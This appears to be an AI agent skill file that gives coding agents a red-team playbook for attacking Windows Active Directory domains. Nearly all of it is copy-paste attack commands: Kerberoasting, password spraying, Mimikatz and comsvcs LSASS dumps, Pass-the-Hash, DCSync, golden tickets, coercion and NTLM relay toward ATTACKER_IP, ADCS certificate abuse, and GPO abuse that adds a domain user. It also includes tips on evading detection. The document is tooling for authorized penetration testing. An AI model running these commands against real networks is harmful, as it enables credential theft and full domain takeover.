majiayu000 name: active-directory description: >- Active Directory attacks including Kerberoasting, AS-REP roasting, DCSync, Pass-the-Hash, Pass-the-Ticket, NTLM relay, coercion (PetitPotam/PrinterBug/DFSCoerce), ADCS ESC1-ESC8, BloodHound analysis, ACL/DACL abuse, GPO abuse, credential extraction, and Windows privilege escalation. Use when asked about AD exploitation, Windows domain attacks, Kerberos, or BloodHound. domain: cybersecurity subdomain: red-teaming tags: - active-directory - kerberos - bloodhound - ntlm-relay - adcs - pass-the-hash - dcsync - lateral-movement - mimikatz - privilege-escalation version: "1.1" author: defconxt license: AGPL-3.0 compatibility: Designed for Claude Code, GitHub Copilot, OpenAI Codex, Cursor, Gemini CLI, and any agentskills.io-compatible agent. metadata: mitre-attack: ["T1558", "T1003", "T1550", "T1187", "T1021", "T1484"] nist-csf: ["PR.AC-4", "PR.AC-7", "DE.CM-1"]
Red Team — Active Directory
When to Use
Triggered when the operator asks about Active Directory attacks, Windows domain exploitation, Kerberoasting, AS-REP roasting, Pass-the-Hash, Pass-the-Ticket, DCSync, NTLM relay, coercion (PetitPotam, PrinterBug, DFSCoerce), ADCS ESC1-ESC10, BloodHound, delegation abuse, ACL/DACL abuse, GPO abuse, credential extraction, Mimikatz, LSASS, lateral movement, or domain privilege escalation.
Quick Reference
- Kerberoast:
GetUserSPNs.py -request -dc-ip 10.0.0.1 DOMAIN/user -outputfile hashes.k5 - AS-REP roast:
GetNPUsers.py DOMAIN/ -usersfile users.txt -format hashcat -outputfile asrep.txt - DCSync:
secretsdump.py -just-dc DOMAIN/admin@10.0.0.1 -outputfile dcsync - BloodHound collect:
bloodhound-python -u user -p pass -d domain.local -c all -ns 10.0.0.1 - SharpHound:
SharpHound.exe --CollectionMethods Group,LocalAdmin,Session,Trusts,ACL - PtH:
pth-winexe -U DOMAIN/admin%aad3b435:NTHASH //10.0.0.1 cmd.exe - PtH (impacket):
wmiexec.py -hashes :NTHASH DOMAIN/admin@10.0.0.1 - ADCS ESC1:
certipy find -u user@domain -p pass -dc-ip 10.0.0.1→certipy req -ca CA -template ESC1 -upn admin@domain - NTLM relay:
ntlmrelayx.py -t ldap://DC --delegate-access --no-smb-server - Coerce (PetitPotam):
Petitpotam.py -d DOMAIN -u user -p pass ATTACKER_IP DC_IP - pypykatz LSASS dump:
pypykatz lsa minidump lsass.dmp - PrivescCheck:
Invoke-PrivescCheck -Extended -Report report - Crack RC4 (Kerberoast):
hashcat -m 13100 hashes.k5 rockyou.txt
Workflow
Enumeration and Initial Reconnaissance
SMB null session check (unauthenticated):
netexec smb 10.0.0.0/24 -u '' -p '' --shares
rpcclient -U "" -N 10.0.0.1 -c "enumdomusers;enumdomgroups"
enum4linux-ng -A 10.0.0.1
LDAP enumeration (authenticated):
ldapsearch -H ldap://10.0.0.1 -x -D "user@domain" -w "pass" \
-b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName memberOf
# NetExec LDAP queries
netexec ldap 10.0.0.1 -u user -p pass --active-users
netexec ldap 10.0.0.1 -u user -p pass --password-not-required
netexec ldap 10.0.0.1 -u user -p pass --kerberoast hashes.txt
netexec ldap 10.0.0.1 -u user -p pass --asreproast asrep.txt
Password spraying (low-and-slow):
kerbrute passwordspray -d domain.local --dc 10.0.0.1 users.txt 'Winter2024!'
netexec smb 10.0.0.1 -u users.txt -p 'Winter2024!' --continue-on-success
# One attempt per account; check lockout policy first: lockoutThreshold, lockoutObservationWindow
Anti-pattern: Password spraying without checking lockout policy first — pull Get-ADDefaultDomainPasswordPolicy or enumerate via LDAP before spraying.
Kerberos Attacks
Kerberoasting (T1558.003):
# Linux — Impacket
GetUserSPNs.py -request -dc-ip 10.0.0.1 DOMAIN/user -outputfile hashes.kerberoast
# Target specific account
GetUserSPNs.py -request-user svc_mssql -dc-ip 10.0.0.1 DOMAIN/user
# Windows — Rubeus
Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap /outfile:hashes.txt
Rubeus.exe kerberoast /rc4opsec /outfile:hashes.rc4 # RC4 only (where AES not enforced)
# Crack
hashcat -m 13100 hashes.rc4 rockyou.txt # RC4 ($krb5tgs$23$)
hashcat -m 19700 hashes.aes256 rockyou.txt # AES256 ($krb5tgs$18$)
Targeted kerberoast (GenericWrite/GenericAll on user):
# Add temp SPN, roast, remove SPN
Set-DomainObject -Identity target -Set @{serviceprincipalname='fake/temp'} -Verbose
Rubeus.exe kerberoast /user:target /nowrap /rc4
Set-DomainObject -Identity target -Clear serviceprincipalname -Verbose
# Or automated: targetedKerberoast.py -d DOMAIN -u writer -p pass
AS-REP Roasting (T1558.004):
GetNPUsers.py DOMAIN/ -usersfile users.txt -format hashcat -outputfile asrep.txt
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
hashcat -m 18200 asrep.txt rockyou.txt
# No-cred variant: kerbrute userenum users.txt -d domain --dc 10.0.0.1
Anti-pattern: Kerberoasting every SPN at once — Event ID 4769 fires per request. Target high-value accounts (MSSQLSvc, admincount=1) first; use /delay and /jitter in Rubeus.
Credential Extraction and Lateral Movement
LSASS dump (T1003.001):
# Task Manager → Details → lsass.exe → Create dump file (GUI)
# Mimikatz
privilege::debug
sekurlsa::logonpasswords # extract plaintext passwords, NTLM hashes, Kerberos tickets
sekurlsa::wdigest # legacy: force WDigest to cache plaintext (requires reg change)
# Remote via pypykatz (Python, no AV footprint)
pypykatz lsa minidump lsass.dmp
# Comsvcs.dll method (LOLBin)
tasklist /fi "imagename eq lsass.exe" # get PID
rundll32 C:\windows\system32\comsvcs.dll, MiniDump <PID> C:\temp\lsass.dmp full
Registry credential extraction:
# SAM + SYSTEM + SECURITY hives → local hashes
reg save HKLM\SAM sam.hive && reg save HKLM\SYSTEM system.hive && reg save HKLM\SECURITY security.hive
secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL
Pass-the-Hash (PtH) (T1550.002):
# Impacket suite
wmiexec.py -hashes :NTHASH DOMAIN/admin@10.0.0.1
psexec.py -hashes :NTHASH DOMAIN/admin@10.0.0.1
smbexec.py -hashes :NTHASH DOMAIN/admin@10.0.0.1
netexec smb 10.0.0.1 -u admin -H NTHASH -x "whoami"
Pass-the-Ticket (PtT) (T1550.003):
# Export tickets (Mimikatz)
kerberos::list /export # dump .kirbi files
# Import ticket
kerberos::ptt ticket.kirbi
# Linux: use ccache
KRB5CCNAME=/tmp/admin.ccache wmiexec.py -k -no-pass DOMAIN/admin@DC_FQDN
Anti-pattern: Using psexec.py as default lateral movement — creates a noisy service and drops a file. wmiexec.py (WMI, no file drop) and smbexec.py (no persistent service) are quieter.
DCSync and Domain Credential Extraction
DCSync (T1003.006) — requires DS-Replication-Get-Changes + DS-Replication-Get-Changes-All:
# Remote (Impacket)
secretsdump.py -just-dc DOMAIN/admin@10.0.0.1 -outputfile dcsync_hashes
secretsdump.py -just-dc-user krbtgt DOMAIN/admin@10.0.0.1 # krbtgt only (golden ticket prep)
# Local (Mimikatz)
lsadump::dcsync /user:DOMAIN\krbtgt
lsadump::dcsync /domain:DOMAIN /all /csv
# Via captured DC TGT (from unconstrained delegation)
KRB5CCNAME=DC1$.ccache secretsdump.py -just-dc -k -no-pass DOMAIN/ -dc-ip 10.0.0.1
Grant DCSync rights to a user (persistence):
Add-ObjectAcl -TargetDN "dc=domain,dc=local" -PrincipalSamAccountName backdoor \
-Rights DCSync -Verbose # PowerView
Golden Ticket (T1558.001):
# Requires: krbtgt NTLM hash, domain SID
mimikatz "kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:HASH /ptt"
Anti-pattern: DCSync without confirming permissions first — check who has replication rights with Get-ObjectAcl -DN "dc=domain,dc=local" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "replication"}.
NTLM Relay and Coercion
Coercion techniques trigger inbound NTLM authentication from target machines:
# PetitPotam (MS-EFSR) — can trigger unauthenticated on some configs
Petitpotam.py -d DOMAIN -u user -p pass ATTACKER_IP DC_IP
# PrinterBug (MS-RPRN)
printerbug.py DOMAIN/user:pass@DC_IP ATTACKER_IP
# DFSCoerce (MS-DFSNM)
dfscoerce.py -d DOMAIN -u user -p pass ATTACKER_IP DC_IP
NTLM Relay with ntlmrelayx.py:
# Setup: disable SMB/HTTP signing on responder, run relay
Responder.py -I eth0 --lm -v # poison LLMNR/NBT-NS
ntlmrelayx.py -t smb://10.0.0.1 -smb2support # relay to SMB
ntlmrelayx.py -t ldap://DC_IP --delegate-access # RBCD via LDAP relay
ntlmrelayx.py -t ldaps://DC_IP --add-computer MyCorp -computer-password 'Pass123!'
# IPv6 MITM (mitm6) → relay to LDAP(S)
mitm6 -d domain.local &
ntlmrelayx.py -6 -t ldaps://DC_IP --add-computer AttackerPC
Anti-pattern: Running Responder and ntlmrelayx simultaneously — Responder captures hashes; ntlmrelayx needs to receive and forward authentication. Use Responder for NBT-NS/LLMNR poisoning but disable SMB/HTTP in Responder.conf when relaying.
ADCS (Active Directory Certificate Services) ESC1-ESC8
Enumerate ADCS:
certipy find -u user@domain.local -p pass -dc-ip 10.0.0.1 -vulnerable # Linux
Certify.exe find /vulnerable # Windows
ESC1 — Misconfigured template (enrollee supplies SAN, Client Auth EKU, low-priv enrollment):
certipy req -u user@domain -p pass -target CA_IP -ca 'domain-CA' -template ESC1 -upn admin@domain.local
certipy auth -pfx admin.pfx -dc-ip 10.0.0.1 # authenticate as admin
ESC2 — Any Purpose or no EKU on template:
certipy req -template ESC2 ... # cert usable for any purpose
ESC3 — Enrollment Agent template (enroll-on-behalf-of):
certipy req -template EnrollmentAgent ... # get agent cert
certipy req -template User -on-behalf-of admin@domain -pfx agent.pfx # issue cert as admin
ESC4 — Writable certificate template object (GenericWrite on template):
certipy template -u user@domain -p pass -template VulnTemplate -save-old # backup
certipy template -template VulnTemplate -configuration VulnTemplate.json # modify to ESC1
ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 set on CA (CA-wide flag allows SAN in any cert):
certipy req -template User -upn admin@domain.local # set SAN even on User template
ESC8 — NTLM relay to HTTP enrollment endpoint (/certsrv/certfnsh.asp):
ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp --adcs --template DomainController
# Trigger DC authentication → relay → issue DC certificate → PKINIT → TGT → DCSync
Anti-pattern: Only checking ESC1 — ESC8 is often misconfigured by default in environments that enabled HTTP enrollment without requiring Kerberos/HTTPS.
BloodHound and ACL/GPO Abuse
BloodHound collection:
bloodhound-python -u user -p pass -d domain.local -c All -ns 10.0.0.1
# Stealth mode (LDAP only, no session enumeration)
SharpHound.exe --CollectionMethods Group,LocalAdmin,Trusts,ACL --Stealth
ACL/DACL abuse paths (from BloodHound edges):
GenericAll/GenericWriteon user → targeted kerberoast, change password, add SPNGenericWriteon computer → RBCD attackWriteDaclon group → add self to group, inherit permissionsWriteOwneron object → change owner, then add ACEForceChangePassword→ reset password without knowing currentOwns→ add WriteDACL, then GenericAll
# PowerView ACL exploitation
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString -AsPlainText 'pass' -Force)
Add-DomainGroupMember -Identity 'Domain Admins' -Members attacker
Set-DomainObject -Identity target -Set @{scriptpath='\\attacker\share\evil.ps1'}
GPO abuse:
# Enumerate GPOs with write rights
Get-DomainGPO | Get-ObjectAcl | Where-Object {$_.ActiveDirectoryRights -match "Write"}
# Create/modify GPO for computer/user startup script
# SharpGPOAbuse: add immediate task, modify startup script
SharpGPOAbuse.exe --AddComputerTask --TaskName evil --Author DOMAIN\Admin --Command cmd.exe --Arguments '/c net user hacker P@ss /add /domain' --GPOName VulnGPO
Anti-pattern: Running BloodHound with -c All over a slow WAN link — use -c DCOnly first for AD objects, then Session separately from a machine on the same segment.
Advanced Techniques
See references/advanced-ad-attacks.md for delegation abuse,
ACL attacks, and cross-forest trust exploitation.
Verification
- All attack techniques tested within authorized scope
- Findings documented with evidence and MITRE ATT&CK mapping
- Cleanup completed — all artifacts removed
- Detection opportunities noted for blue team